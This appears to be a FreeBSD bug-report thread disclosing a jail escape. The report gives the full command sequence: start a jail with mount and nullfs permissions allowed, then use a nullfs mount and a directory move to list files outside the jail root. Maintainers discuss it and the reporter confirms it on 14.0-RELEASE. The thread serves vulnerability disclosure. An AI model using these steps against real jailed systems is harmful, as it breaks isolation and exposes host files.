Jail could be escaped when run with enforce_statfs<2, allow.mount=true, allow.mount.nullfs=true. prepare jail environment > mkdir /j/1 > tar -c -f - /bin/ lib /libexec /sbin | tar -x -f - -C /j/1 > mkdir /j/1/tmp start a vulnerable jail > jail -c path=/j/1 persist=false allow.mount=true allow.mount.nullfs=true enforce_statfs=1 command=/bin/sh malicious code > mkdir /tmp/a /tmp/a/b/c /tmp/a/b/c/test /tmp/a/d > mount -t nullfs /tmp/a/b/c /tmp/a/d > cd /tmp/a/d/test > mv /tmp/a/b/c/test /tmp/a/b/test > ls -al ../../../../.. > ls -al ../../../../../.. you will see the files outside the jail
> 12.3-RELEASE No longer supported. Can you reproduce symptoms with a supported RELEASE? <https://www.freebsd.org/security/#sup> Thank you.
Where in your sequence of of commands did you attach to the jail? It's the jail that's locking in processes not the nullfs. Outside of the jail you're expected to be able to leave the nullfs with `cd ..`. Or did I miss-understand and the nullfs mount from inside the jail is able to expose a path from beneath the jail under the jail root directory despite the (n)mount performed inside the jail? If this is the case just ignoring it with a the release is EoL is a cheap cop out and we have to define what's the expected semantics for nullfs mounting at different enforce_statfs levels.
(In reply to Graham Perrin from comment #1) > Can you reproduce symptoms with a supported RELEASE? Yes it still works on 14.0-RELEASE.
(In reply to crest from comment #2) > Where in your sequence of of commands did you attach to the jail? "jail" command does this (create+attach).